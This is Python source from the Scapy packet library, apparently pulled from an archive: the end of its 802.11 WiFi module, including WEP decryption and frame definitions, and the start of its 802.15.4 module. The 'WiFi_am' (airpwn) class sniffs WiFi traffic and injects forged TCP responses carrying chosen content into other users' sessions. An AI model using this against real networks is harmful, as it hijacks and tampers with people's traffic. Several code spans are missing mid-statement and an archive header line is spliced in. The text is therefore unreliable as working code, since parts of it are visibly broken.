9.3.3.2 "RA=DA", "TA=SA", "BSSID/STA", None, ], [ # Control "RA", "TA", None, None ], [ # Data: 802.11-2016 9.3.2.1: Table 9-26 [["RA=DA", "RA=DA"], ["RA=BSSID", "RA"]], [["TA=SA", "TA=BSSID"], ["TA=SA", "TA"]], [["BSSID", "SA"], ["DA", "DA"]], [[None, None], ["SA", "BSSID"]], ], [ # Extension "BSSID", None, None, None ], ] class _Dot11MacField(MACField): """ A MACField that displays the address type depending on the 802.11 flags """ __slots__ = ["index"] def __init__(self, name, default, index): self.index = index super(_Dot11MacField, self).__init__(name, default) def i2repr(self, pkt, val): s = super(_Dot11MacField, self).i2repr(pkt, val) meaning = pkt.address_meaning(self.index) if meaning: return "%s (%s)" % (s, meaning) return s # 802.11-2016 9.2.4.1.1 class Dot11(Packet): name = "802.11" fields_desc = [ BitMultiEnumField("subtype", 0, 4, _dot11_subtypes, lambda pkt: pkt.type), BitEnumField("type", 0, 2, ["Management", "Control", "Data", "Extension"]), BitField("proto", 0, 2), ConditionalField( BitEnumField("cfe", 0, 4, _dot11_cfe), lambda pkt: (pkt.type, pkt.subtype) == (1, 6) ), MultipleTypeField( [ ( FlagsField("FCfield", 0, 4, ["pw-mgt", "MD", "protected", "order"]), lambda pkt: (pkt.type, pkt.subtype) == (1, 6) ) ], FlagsField("FCfield", 0, 8, ["to-DS", "from-DS", "MF", "retry", "pw-mgt", "MD", "protected", "order"]) ), ShortField("ID", 0), _Dot11MacField("addr1", ETHER_ANY, 1), ConditionalField( _Dot11MacField("addr2", ETHER_ANY, 2), lambda pkt: (pkt.type != 1 or pkt.subtype in [0x8, 0x9, 0xa, 0xb, 0xe, 0xf]), ), ConditionalField( _Dot11MacField("addr3", ETHER_ANY, 3), lambda pkt: pkt.type in [0, 2], ), ConditionalField(LEShortField("SC", 0), lambda pkt: pkt.type != 1), ConditionalField( _Dot11MacField("addr4", ETHER_ANY, 4), lambda pkt: (pkt.type == 2 and pkt.FCfield & 3 == 3), # from-DS+to-DS ) ] def mysummary(self): # Supports both Dot11 and Dot11FCS return self.sprintf("802.11 %%%s.type%% %%%s.subtype%% %%%s.addr2%% > %%%s.addr1%%" % ((self.__class__.__name__,) * 4)) # noqa: E501 def guess_payload_class(self, payload): if self.type == 0x02 and ( 0x08 <= self.subtype <= 0xF and self.subtype != 0xD): return Dot11QoS elif self.FCfield.protected: # When a frame is handled by encryption, the Protected Frame bit # (previously called WEP bit) is set to 1, and the Frame Body # begins with the appropriate cryptographic header. return Dot11Encrypted else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, Dot11): if self.type == 0: # management if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA # noqa: E501 return 0 if (other.subtype, self.subtype) in [(0, 1), (2, 3), (4, 5)]: return 1 if self.subtype == other.subtype == 11: # auth return self.payload.answers(other.payload) elif self.type == 1: # control return 0 elif self.type == 2: # data return self.payload.answers(other.payload) elif self.type == 3: # reserved return 0 return 0 def address_meaning(self, index): """ Return the meaning of the address[index] considering the context """ if index not in [1, 2, 3, 4]: raise ValueError("Wrong index: should be [1, 2, 3, 4]") index = index - 1 if self.type == 0: # Management return _dot11_addr_meaning[0][index] elif self.type == 1: # Control return _dot11_addr_meaning[1][index] elif self.type == 2: # Data meaning = _dot11_addr_meaning[2][index][ self.FCfield.to_DS ][self.FCfield.from_DS] if meaning and index in [2, 3]: # Address 3-4 if isinstance(self.payload, Dot11QoS): # MSDU and Short A-MSDU if self.payload.A_MSDU_Present: meaning = "BSSID" return meaning elif self.type == 3: # Extension return _dot11_addr_meaning[3][index] return None def unwep(self, key=None, warn=1): if self.FCfield & 0x40 == 0: if warn: warning("No WEP to remove") return if isinstance(self.payload.payload, NoPayload): if key or conf.wepkey: self.payload.decrypt(key) if isinstance(self.payload.payload, NoPayload): if warn: warning("Dot11 can't be decrypted. Check conf.wepkey.") return self.FCfield &= ~0x40 self.payload = self.payload.payload class Dot11FCS(Dot11): name = "802.11-FCS" match_subclass = True fields_desc = Dot11.fields_desc + [FCSField("fcs", None, fmt="= 3: length = orb(s[1]) if length > 0 and length <= 255: self.info = s[2:2 + length] return s def post_build(self, p, pay): if self.len is None: p = p[:1] + chb(len(p) - 2) + p[2:] return p + pay class _OUIField(X3BytesField): def i2repr(self, pkt, val): by_val = struct.pack("!I", val or 0)[1:] oui = str2mac(by_val + b"\0" * 3)[:8] if conf.manufdb: fancy = conf.manufdb._get_manuf(oui) if fancy != oui: return "%s (%s)" % (fancy, oui) return oui class Dot11EltDSSSet(Dot11Elt): name = "802.11 DSSS Parameter Set" match_subclass = True fields_desc = [ ByteEnumField("ID", 3, _dot11_id_enum), ByteField("len", 1), ByteField("channel", 0), ] class Dot11EltERP(Dot11Elt): name = "802.11 ERP" match_subclass = True fields_desc = [ ByteEnumField("ID", 42, _dot11_id_enum), ByteField("len", 1), BitField("NonERP_Present", 0, 1), BitField("Use_Protection", 0, 1), BitField("Barker_Preamble_Mode", 0, 1), BitField("res", 0, 5), ] class RSNCipherSuite(Packet): name = "Cipher suite" fields_desc = [ _OUIField("oui", 0x000fac), ByteEnumField("cipher", 0x04, { 0x00: "Use group cipher suite", 0x01: "WEP-40", 0x02: "TKIP", 0x03: "OCB", 0x04: "CCMP-128", 0x05: "WEP-104", 0x06: "BIP-CMAC-128", 0x07: "Group addressed traffic not allowed", 0x08: "GCMP-128", 0x09: "GCMP-256", 0x0A: "CCMP-256", 0x0B: "BIP-GMAC-128", 0x0C: "BIP-GMAC-256", 0x0D: "BIP-CMAC-256" }) ] def extract_padding(self, s): return "", s class AKMSuite(Packet): name = "AKM suite" fields_desc = [ _OUIField("oui", 0x000fac), ByteEnumField("suite", 0x01, { 0x00: "Reserved", 0x01: "802.1X", 0x02: "PSK", 0x03: "FT-802.1X", 0x04: "FT-PSK", 0x05: "WPA-SHA256", 0x06: "PSK-SHA256", 0x07: "TDLS", 0x08: "SAE", 0x09: "FT-SAE", 0x0A: "AP-PEER-KEY", 0x0B: "WPA-SHA256-SUITE-B", 0x0C: "WPA-SHA384-SUITE-B", 0x0D: "FT-802.1X-SHA384", 0x0E: "FILS-SHA256", 0x0F: "FILS-SHA384", 0x10: "FT-FILS-SHA256", 0x11: "FT-FILS-SHA384", 0x12: "OWE" }) ] def extract_padding(self, s): return "", s class PMKIDListPacket(Packet): name = "PMKIDs" fields_desc = [ LEFieldLenField("nb_pmkids", None, count_of="pmkid_list"), FieldListField( "pmkid_list", None, XStrFixedLenField("", "", length=16), count_from=lambda pkt: pkt.nb_pmkids ) ] def extract_padding(self, s): return "", s class Dot11EltRSN(Dot11Elt): name = "802.11 RSN information" match_subclass = True fields_desc = [ ByteEnumField("ID", 48, _dot11_id_enum), ByteField("len", None), LEShortField("version", 1), PacketField("group_cipher_suite", RSNCipherSuite(), RSNCipherSuite), LEFieldLenField( "nb_pairwise_cipher_suites", None, count_of="pairwise_cipher_suites" ), PacketListField( "pairwise_cipher_suites", [RSNCipherSuite()], RSNCipherSuite, count_from=lambda p: p.nb_pairwise_cipher_suites ), LEFieldLenField( "nb_akm_suites", None, count_of="akm_suites" ), PacketListField( "akm_suites", [AKMSuite()], AKMSuite, count_from=lambda p: p.nb_akm_suites ), BitField("mfp_capable", 0, 1), BitField("mfp_required", 0, 1), BitField("gtksa_replay_counter", 0, 2), BitField("ptksa_replay_counter", 0, 2), BitField("no_pairwise", 0, 1), BitField("pre_auth", 0, 1), BitField("reserved", 0, 8), ConditionalField( PacketField("pmkids", None, PMKIDListPacket), lambda pkt: ( 0 if pkt.len is None else pkt.len - ( 12 + (pkt.nb_pairwise_cipher_suites or 0) * 4 + (pkt.nb_akm_suites or 0) * 4 ) >= 2 ) ), ConditionalField( PacketField("group_management_cipher_suite", RSNCipherSuite(cipher=0x6), RSNCipherSuite), lambda pkt: pkt.mfp_capable == 1 ) ] class Dot11EltCountryConstraintTriplet(Packet): name = "802.11 Country Constraint Triplet" fields_desc = [ ByteField("first_channel_number", 1), ByteField("num_channels", 24), ByteField("mtp", 0) ] def extract_padding(self, s): return b"", s class Dot11EltCountry(Dot11Elt): name = "802.11 Country" match_subclass = True fields_desc = [ ByteEnumField("ID", 7, _dot11_id_enum), ByteField("len", None), StrFixedLenField("country_string", b"\0\0\0", length=3), PacketListField( "descriptors", [], Dot11EltCountryConstraintTriplet, length_from=lambda pkt: ( pkt.len - 3 - (pkt.len % 3) ) ), ConditionalField( ByteField("pad", 0), lambda pkt: (len(pkt.descriptors) + 1) % 2 ) ] class _RateField(ByteField): def i2repr(self, pkt, val): if val is None: return "" s = str((val & 0x7f) / 2.) if val & 0x80: s += "(B)" return s + " Mbps" class Dot11EltRates(Dot11Elt): name = "802.11 Rates" match_subclass = True fields_desc = [ ByteEnumField("ID", 1, _dot11_id_enum), ByteField("len", None), FieldListField( "rates", [0x82], _RateField("", 0), length_from=lambda p: p.len ) ] Dot11EltRates.register_variant(50) # Extended rates class Dot11EltHTCapabilities(Dot11Elt): name = "802.11 HT Capabilities" match_subclass = True fields_desc = [ ByteEnumField("ID", 45, _dot11_id_enum), ByteField("len", None), # HT Capabilities Info: 2B BitField("L_SIG_TXOP_Protection", 0, 1, tot_size=-2), BitField("Forty_Mhz_Intolerant", 0, 1), BitField("PSMP", 0, 1), BitField("DSSS_CCK", 0, 1), BitEnumField("Max_A_MSDU", 0, 1, {0: "3839 o", 1: "7935 o"}), BitField("Delayed_BlockAck", 0, 1), BitField("Rx_STBC", 0, 2), BitField("Tx_STBC", 0, 1), BitField("Short_GI_40Mhz", 0, 1), BitField("Short_GI_20Mhz", 0, 1), BitField("Green_Field", 0, 1), BitEnumField("SM_Power_Save", 0, 2, {0: "static SM", 1: "dynamic SM", 3: "disabled"}), BitEnumField("Supported_Channel_Width", 0, 1, {0: "20Mhz", 1: "20Mhz+40Mhz"}), BitField("LDPC_Coding_Capability", 0, 1, end_tot_size=-2), # A-MPDU Parameters: 1B BitField("res", 0, 3, tot_size=-1), BitField("Min_MPDCU_Start_Spacing", 8, 3), BitField("Max_A_MPDU_Length_Exponent", 3, 2, end_tot_size=-1), # Supported MCS set: 16B BitField("res", 0, 27, tot_size=-16), BitField("TX_Unequal_Modulation", 0, 1), BitField("TX_Max_Spatial_Streams", 0, 2), BitField("TX_RX_MCS_Set_Not_Equal", 0, 1), BitField("TX_MCS_Set_Defined", 0, 1), BitField("res", 0, 6), BitField("RX_Highest_Supported_Data_Rate", 0, 10), BitField("res", 0, 3), BitField("RX_MSC_Bitmask", 0, 77, end_tot_size=-16), # HT Extended capabilities: 2B BitField("res", 0, 4, tot_size=-2), BitField("RD_Responder", 0, 1), BitField("HTC_HT_Support", 0, 1), BitField("MCS_Feedback", 0, 2), BitField("res", 0, 5), BitField("PCO_Transition_Time", 0, 2), BitField("PCO", 0, 1, end_tot_size=-2), # TX Beamforming Capabilities TxBF: 4B BitField("res", 0, 3, tot_size=-4), BitField("Channel_Estimation_Capability", 0, 2), BitField("CSI_max_n_Rows_Beamformer_Supported", 0, 2), BitField("Compressed_Steering_n_Beamformer_Antennas_Supported", 0, 2), BitField("Noncompressed_Steering_n_Beamformer_Antennas_Supported", 0, 2), BitField("CSI_n_Beamformer_Antennas_Supported", 0, 2), BitField("Minimal_Grouping", 0, 2), BitField("Explicit_Compressed_Beamforming_Feedback", 0, 2), BitField("Explicit_Noncompressed_Beamforming_Feedback", 0, 2), BitField("Explicit_Transmit_Beamforming_CSI_Feedback", 0, 2), BitField("Explicit_Compressed_Steering", 0, 1), BitField("Explicit_Noncompressed_Steering", 0, 1), BitField("Explicit_CSI_Transmit_Beamforming", 0, 1), BitField("Calibration", 0, 2), BitField("Implicit_Trasmit_Beamforming", 0, 1), BitField("Transmit_NDP", 0, 1), BitField("Receive_NDP", 0, 1), BitField("Transmit_Staggered_Sounding", 0, 1), BitField("Receive_Staggered_Sounding", 0, 1), BitField("Implicit_Transmit_Beamforming_Receiving", 0, 1, end_tot_size=-4), # ASEL Capabilities: 1B FlagsField("ASEL", 0, 8, [ "res" "Transmit_Sounding_PPDUs", "Receive_ASEL", "Antenna_Indices_Feedback", "Explicit_CSI_Feedback", "Explicit_CSI_Feedback_Based_Transmit_ASEL", "Antenna_Selection", ]) ] class Dot11EltVendorSpecific(Dot11Elt): name = "802.11 Vendor Specific" match_subclass = True fields_desc = [ ByteEnumField("ID", 221, _dot11_id_enum), ByteField("len", None), _OUIField("oui", 0x000000), StrLenField("info", "", length_from=lambda x: x.len - 3) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: oui = struct.unpack("!I", b"\x00" + _pkt[2:5])[0] if oui == 0x0050f2: # Microsoft type_ = orb(_pkt[5]) if type_ == 0x01: # MS WPA IE return Dot11EltMicrosoftWPA elif type_ == 0x02: # MS WME IE TODO # return Dot11EltMicrosoftWME pass elif type_ == 0x04: # MS WPS IE TODO # return Dot11EltWPS pass return Dot11EltVendorSpecific return cls class Dot11EltMicrosoftWPA(Dot11EltVendorSpecific): name = "802.11 Microsoft WPA" match_subclass = True ID = 221 oui = 0x0050f2 # It appears many WPA implementations ignore the fact # that this IE should only have a single cipher and auth suite fields_desc = Dot11EltVendorSpecific.fields_desc[:3] + [ XByteField("type", 0x01) ] + Dot11EltRSN.fields_desc[2:8] ###################### # 802.11 Frame types # ###################### # 802.11-2016 9.3 class Dot11Beacon(_Dot11EltUtils): name = "802.11 Beacon" fields_desc = [LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list)] class Dot11ATIM(Packet): name = "802.11 ATIM" class Dot11Disas(Packet): name = "802.11 Disassociation" fields_desc = [LEShortEnumField("reason", 1, reason_code)] class Dot11AssoReq(_Dot11EltUtils): name = "802.11 Association Request" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8)] class Dot11AssoResp(_Dot11EltUtils): name = "802.11 Association Response" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("status", 0), LEShortField("AID", 0)] class Dot11ReassoReq(_Dot11EltUtils): name = "802.11 Reassociation Request" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8), MACField("current_AP", ETHER_ANY)] class Dot11ReassoResp(Dot11AssoResp): name = "802.11 Reassociation Response" class Dot11ProbeReq(_Dot11EltUtils): name = "802.11 Probe Request" class Dot11ProbeResp(_Dot11EltUtils): name = "802.11 Probe Response" fields_desc = [LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list)] class Dot11Auth(_Dot11EltUtils): name = "802.11 Authentication" fields_desc = [LEShortEnumField("algo", 0, ["open", "sharedkey"]), LEShortField("seqnum", 0), LEShortEnumField("status", 0, status_code)] def answers(self, other): if self.seqnum == other.seqnum + 1: return 1 return 0 class Dot11Deauth(Packet): name = "802.11 Deauthentication" fields_desc = [LEShortEnumField("reason", 1, reason_code)] class Dot11Ack(Packet): name = "802.11 Ack packet" ################### # 802.11 Security # ################### # 802.11-2016 12 class Dot11Encrypted(Packet): name = "802.11 Encrypted (unknown algorithm)" fields_desc = [StrField("data", None)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # Extracted from # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-ieee80211.c # noqa: E501 KEY_EXTIV = 0x20 EXTIV_LEN = 8 if _pkt and len(_pkt) >= 3: if (orb(_pkt[3]) & KEY_EXTIV) and (len(_pkt) >= EXTIV_LEN): if orb(_pkt[1]) == ((orb(_pkt[0]) | 0x20) & 0x7f): # IS_TKIP return Dot11TKIP elif orb(_pkt[2]) == 0: # IS_CCMP return Dot11CCMP else: # Unknown encryption algorithm return Dot11Encrypted else: return Dot11WEP return conf.raw_layer # 802.11-2016 12.3.2 class Dot11WEP(Dot11Encrypted): name = "802.11 WEP packet" fields_desc = [StrFixedLenField("iv", b"\0\0\0", 3), ByteField("keyid", 0), StrField("wepdata", None, remain=4), IntField("icv", None)] def decrypt(self, key=None): if key is None: key = conf.wepkey if key and conf.crypto_valid: d = Cipher( algorithms.ARC4(self.iv + key.encode("utf8")), None, default_backend(), ).decryptor() self.add_payload(LLC(d.update(self.wepdata) + d.finalize())) def post_dissect(self, s): self.decrypt() def build_payload(self): if self.wepdata is None: return Packet.build_payload(self) return b"" @crypto_validator def encrypt(self, p, pay, key=None): if key is None: key = conf.wepkey if key: if self.icv is None: pay += struct.pack(" LE = reversed order BitField("res", 0, 5), # # ext_iv - 4 bytes ConditionalField(ByteField("TSC2", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC3", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC4", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC5", 0), lambda pkt: pkt.ext_iv), # data StrField("data", None), ] # 802.11-2016 12.5.3.2 class Dot11CCMP(Dot11Encrypted): name = "802.11 CCMP packet" fields_desc = [ # iv - 8 bytes ByteField("PN0", 0), ByteField("PN1", 0), ByteField("res0", 0), BitField("key_id", 0, 2), # BitField("ext_iv", 0, 1), # => LE = reversed order BitField("res1", 0, 5), # ByteField("PN2", 0), ByteField("PN3", 0), ByteField("PN4", 0), ByteField("PN5", 0), # data StrField("data", None), ] ############ # Bindings # ############ bind_top_down(RadioTap, Dot11FCS, present=2, Flags=16) bind_top_down(Dot11, Dot11QoS, type=2, subtype=0xc) bind_layers(PrismHeader, Dot11,) bind_layers(Dot11, LLC, type=2) bind_layers(Dot11QoS, LLC,) bind_layers(Dot11, Dot11AssoReq, subtype=0, type=0) bind_layers(Dot11, Dot11AssoResp, subtype=1, type=0) bind_layers(Dot11, Dot11ReassoReq, subtype=2, type=0) bind_layers(Dot11, Dot11ReassoResp, subtype=3, type=0) bind_layers(Dot11, Dot11ProbeReq, subtype=4, type=0) bind_layers(Dot11, Dot11ProbeResp, subtype=5, type=0) bind_layers(Dot11, Dot11Beacon, subtype=8, type=0) bind_layers(Dot11, Dot11ATIM, subtype=9, type=0) bind_layers(Dot11, Dot11Disas, subtype=10, type=0) bind_layers(Dot11, Dot11Auth, subtype=11, type=0) bind_layers(Dot11, Dot11Deauth, subtype=12, type=0) bind_layers(Dot11, Dot11Ack, subtype=13, type=1) bind_layers(Dot11Beacon, Dot11Elt,) bind_layers(Dot11AssoReq, Dot11Elt,) bind_layers(Dot11AssoResp, Dot11Elt,) bind_layers(Dot11ReassoReq, Dot11Elt,) bind_layers(Dot11ReassoResp, Dot11Elt,) bind_layers(Dot11ProbeReq, Dot11Elt,) bind_layers(Dot11ProbeResp, Dot11Elt,) bind_layers(Dot11Auth, Dot11Elt,) bind_layers(Dot11Elt, Dot11Elt,) bind_layers(Dot11TKIP, conf.raw_layer) bind_layers(Dot11CCMP, conf.raw_layer) conf.l2types.register(DLT_IEEE802_11, Dot11) conf.l2types.register_num2layer(801, Dot11) conf.l2types.register(DLT_PRISM_HEADER, PrismHeader) conf.l2types.register_num2layer(802, PrismHeader) conf.l2types.register(DLT_IEEE802_11_RADIO, RadioTap) conf.l2types.register_num2layer(803, RadioTap) #################### # Other WiFi utils # #################### class WiFi_am(AnsweringMachine): """Before using this, initialize "iffrom" and "ifto" interfaces: iwconfig iffrom mode monitor iwpriv orig_ifto hostapd 1 ifconfig ifto up note: if ifto=wlan0ap then orig_ifto=wlan0 note: ifto and iffrom must be set on the same channel ex: ifconfig eth1 up iwconfig eth1 mode monitor iwconfig eth1 channel 11 iwpriv wlan0 hostapd 1 ifconfig wlan0ap up iwconfig wlan0 channel 11 iwconfig wlan0 essid dontexist iwconfig wlan0 mode managed """ function_name = "airpwn" filter = None def parse_options(self, iffrom=conf.iface, ifto=conf.iface, replace="", pattern="", ignorepattern=""): self.iffrom = iffrom self.ifto = ifto self.ptrn = re.compile(pattern.encode()) self.iptrn = re.compile(ignorepattern.encode()) self.replace = replace def is_request(self, pkt): if not isinstance(pkt, Dot11): return 0 if not pkt.FCfield & 1: return 0 if not pkt.haslayer(TCP): return 0 tcp = pkt.getlayer(TCP) pay = raw(tcp.payload) if not self.ptrn.match(pay): return 0 if self.iptrn.match(pay) is True: return 0 return True def make_reply(self, p): ip = p.getlayer(IP) tcp = p.getlayer(TCP) pay = raw(tcp.payload) del(p.payload.payload.payload) p.FCfield = "from-DS" p.addr1, p.addr2 = p.addr2, p.addr1 p /= IP(src=ip.dst, dst=ip.src) p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq + len(pay), flags="PA") q = p.copy() p /= self.replace q.ID += 1 q.getlayer(TCP).flags = "RA" q.getlayer(TCP).seq += len(self.replace) return [p, q] def print_reply(self, query, *reply): p = reply[0][0] print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%")) def send_reply(self, reply): sendp(reply, iface=self.ifto, **self.optsend) def sniff(self): sniff(iface=self.iffrom, **self.optsniff) conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] class Dot11PacketList(PacketList): def __init__(self, res=None, name="Dot11List", stats=None): if stats is None: stats = conf.stats_dot11_protocols PacketList.__init__(self, res, name, stats) def toEthernet(self): data = [x[Dot11] for x in self.res if Dot11 in x and x.type == 2] r2 = [] for p in data: q = p.copy() q.unwep() r2.append(Ether() / q.payload.payload.payload) # Dot11/LLC/SNAP/IP return PacketList(r2, name="Ether from %s" % self.listname) scapy-2.4.4/scapy/layers/dot15d4.py000066400000000000000000000513321372370053500170250ustar00rootroot00000000000000# This program is published under a GPLv2 license # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Ryan Speers 2011-2012 # Copyright (C) Roger Meyer : 2012-03-10 Added frames # Copyright (C) Gabriel Potter : 2018 # Copyright (C) 2020 Dimitrios-Georgios Akestoridis # This program is published under a GPLv2 license """ Wireless MAC according to IEEE 802.15.4. """ import struct from scapy.compat import orb, chb from scapy.error import warning from scapy.config import conf from scapy.data import DLT_IEEE802_15_4_WITHFCS, DLT_IEEE802_15_4_NOFCS from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ ConditionalField, Field, LELongField, PacketField, XByteField, \ XLEIntField, XLEShortField, FCSField, Emph, FieldListField # Fields # class dot15d4AddressField(Field): __slots__ = ["adjust", "length_of"] def __init__(self, name, default, length_of=None, fmt=" %Dot15d4.fcf_srcaddrmode% ) Seq#%Dot15d4.seqnum%") # noqa: E501 def guess_payload_class(self, payload): if self.fcf_frametype == 0x00: return Dot15d4Beacon elif self.fcf_frametype == 0x01: return Dot15d4Data elif self.fcf_frametype == 0x02: return Dot15d4Ack elif self.fcf_frametype == 0x03: return Dot15d4Cmd else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, Dot15d4): if self.fcf_frametype == 2: # ack if self.seqnum != other.seqnum: # check for seqnum matching return 0 elif other.fcf_ackreq == 1: # check that an ack was indeed requested # noqa: E501 return 1 return 0 def post_build(self, p, pay): # This just forces destaddrmode to None for Ack frames. if self.fcf_frametype == 2 and self.fcf_destaddrmode != 0: self.fcf_destaddrmode = 0 return p[:1] + \ chb((self.fcf_srcaddrmode << 6) + (self.fcf_framever << 4)) \ + p[2:] + pay else: return p + pay class Dot15d4FCS(Dot15d4): ''' This class is a drop-in replacement for the Dot15d4 class above, except it expects a FCS/checksum in the input, and produces one in the output. This provides the user flexibility, as many 802.15.4 interfaces will have an AUTO_CRC setting # noqa: E501 that will validate the FCS/CRC in firmware, and add it automatically when transmitting. # noqa: E501 ''' name = "802.15.4 - FCS" match_subclass = True fields_desc = Dot15d4.fields_desc + [FCSField("fcs", None, fmt=" %Dot15d4Data.dest_panid%:%Dot15d4Data.dest_addr% )") # noqa: E501 class Dot15d4Beacon(Packet): name = "802.15.4 Beacon" fields_desc = [ XLEShortField("src_panid", 0x0), dot15d4AddressField("src_addr", None, length_of="fcf_srcaddrmode"), # Security field present if fcf_security == True ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 # Superframe spec field: BitField("sf_sforder", 15, 4), # not used by ZigBee BitField("sf_beaconorder", 15, 4), # not used by ZigBee BitEnumField("sf_assocpermit", 0, 1, [False, True]), BitEnumField("sf_pancoord", 0, 1, [False, True]), BitField("sf_reserved", 0, 1), # not used by ZigBee BitEnumField("sf_battlifeextend", 0, 1, [False, True]), # not used by ZigBee # noqa: E501 BitField("sf_finalcapslot", 15, 4), # not used by ZigBee # GTS Fields # GTS Specification (1 byte) BitEnumField("gts_spec_permit", 1, 1, [False, True]), # GTS spec bit 7, true=1 iff PAN cord is accepting GTS requests # noqa: E501 BitField("gts_spec_reserved", 0, 4), # GTS spec bits 3-6 BitField("gts_spec_desccount", 0, 3), # GTS spec bits 0-2 # GTS Directions (0 or 1 byte) ConditionalField(BitField("gts_dir_reserved", 0, 1), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 ConditionalField(BitField("gts_dir_mask", 0, 7), lambda pkt:pkt.getfieldval("gts_spec_desccount") != 0), # noqa: E501 # GTS List (variable size) # TODO add a Packet/FieldListField tied to 3bytes per count in gts_spec_desccount # noqa: E501 # Pending Address Fields: # Pending Address Specification (1 byte) BitField("pa_reserved_1", 0, 1), BitField("pa_num_long", 0, 3), # number of long addresses pending BitField("pa_reserved_2", 0, 1), BitField("pa_num_short", 0, 3), # number of short addresses pending # Address List (var length) FieldListField("pa_short_addresses", [], XLEShortField("", 0x0000), count_from=lambda pkt: pkt.pa_num_short), FieldListField("pa_long_addresses", [], dot15d4AddressField("", 0, adjust=lambda pkt, x: 8), count_from=lambda pkt: pkt.pa_num_long), # TODO beacon payload ] def mysummary(self): return self.sprintf("802.15.4 Beacon ( %Dot15d4Beacon.src_panid%:%Dot15d4Beacon.src_addr% ) assocPermit(%Dot15d4Beacon.sf_assocpermit%) panCoord(%Dot15d4Beacon.sf_pancoord%)") # noqa: E501 class Dot15d4Cmd(Packet): name = "802.15.4 Command" fields_desc = [ XLEShortField("dest_panid", 0xFFFF), # Users should correctly set the dest_addr field. By default is 0x0 for construction to work. # noqa: E501 dot15d4AddressField("dest_addr", 0x0, length_of="fcf_destaddrmode"), ConditionalField(XLEShortField("src_panid", 0x0), \ lambda pkt:util_srcpanid_present(pkt)), ConditionalField(dot15d4AddressField("src_addr", None, length_of="fcf_srcaddrmode"), lambda pkt:pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0), # noqa: E501 # Security field present if fcf_security == True ConditionalField(PacketField("aux_sec_header", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader), # noqa: E501 lambda pkt:pkt.underlayer.getfieldval("fcf_security") is True), # noqa: E501 ByteEnumField("cmd_id", 0, { 1: "AssocReq", # Association request 2: "AssocResp", # Association response 3: "DisassocNotify", # Disassociation notification 4: "DataReq", # Data request 5: "PANIDConflictNotify", # PAN ID conflict notification 6: "OrphanNotify", # Orphan notification 7: "BeaconReq", # Beacon request 8: "CoordRealign", # coordinator realignment 9: "GTSReq" # GTS request # 0x0a - 0xff reserved }), # TODO command payload ] def mysummary(self): return self.sprintf("802.15.4 Command %Dot15d4Cmd.cmd_id% ( %Dot15dCmd.src_panid%:%Dot15d4Cmd.src_addr% -> %Dot15d4Cmd.dest_panid%:%Dot15d4Cmd.dest_addr% )") # noqa: E501 # command frame payloads are complete: DataReq, PANIDConflictNotify, OrphanNotify, BeaconReq don't have any payload # noqa: E501 # Although BeaconReq can have an optional ZigBee Beacon payload (implemented in ZigBeeBeacon) # noqa: E501 def guess_payload_class(self, payload): if self.cmd_id == 1: return Dot15d4CmdAssocReq elif self.cmd_id == 2: return Dot15d4CmdAssocResp elif self.cmd_id == 3: return Dot15d4CmdDisassociation elif self.cmd_id == 8: return Dot15d4CmdCoordRealign elif self.cmd_id == 9: return Dot15d4CmdGTSReq else: return Packet.guess_payload_class(self, payload) class Dot15d4CmdCoordRealign(Packet): name = "802.15.4 Coordinator Realign Command" fields_desc = [ # PAN Identifier (2 octets) XLEShortField("panid", 0xFFFF), # Coordinator Short Address (2 octets) XLEShortField("coord_address", 0x0000), # Logical Channel (1 octet): the logical channel that the coordinator intends to use for all future communications # noqa: E501 ByteField("channel", 0), # Short Address (2 octets) XLEShortField("dev_address", 0xFFFF), ] def mysummary(self): return self.sprintf("802.15.4 Coordinator Realign Payload ( PAN ID: %Dot15dCmdCoordRealign.pan_id% : channel %Dot15d4CmdCoordRealign.channel% )") # noqa: E501 def guess_payload_class(self, payload): if len(payload) == 1: return Dot15d4CmdCoordRealignPage else: return Packet.guess_payload_class(self, payload) class Dot15d4CmdCoordRealignPage(Packet): name = "802.15.4 Coordinator Realign Page" fields_desc = [ ByteField("channel_page", 0), ] # Utility Functions # def util_srcpanid_present(pkt): '''A source PAN ID is included if and only if both src addr mode != 0 and PAN ID Compression in FCF == 0''' # noqa: E501 if (pkt.underlayer.getfieldval("fcf_srcaddrmode") != 0) and (pkt.underlayer.getfieldval("fcf_panidcompress") == 0): # noqa: E501 return True else: return False class Dot15d4CmdAssocReq(Packet): name = "802.15.4 Association Request Payload" fields_desc = [ BitField("allocate_address", 0, 1), # Allocate Address BitField("security_capability", 0, 1), # Security Capability BitField("reserved2", 0, 1), # bit 5 is reserved BitField("reserved1", 0, 1), # bit 4 is reserved BitField("receiver_on_when_idle", 0, 1), # Receiver On When Idle BitField("power_source", 0, 1), # Power Source BitField("device_type", 0, 1), # Device Type BitField("alternate_pan_coordinator", 0, 1), # Alternate PAN Coordinator # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Association Request Payload ( Alt PAN Coord: %Dot15d4CmdAssocReq.alternate_pan_coordinator% Device 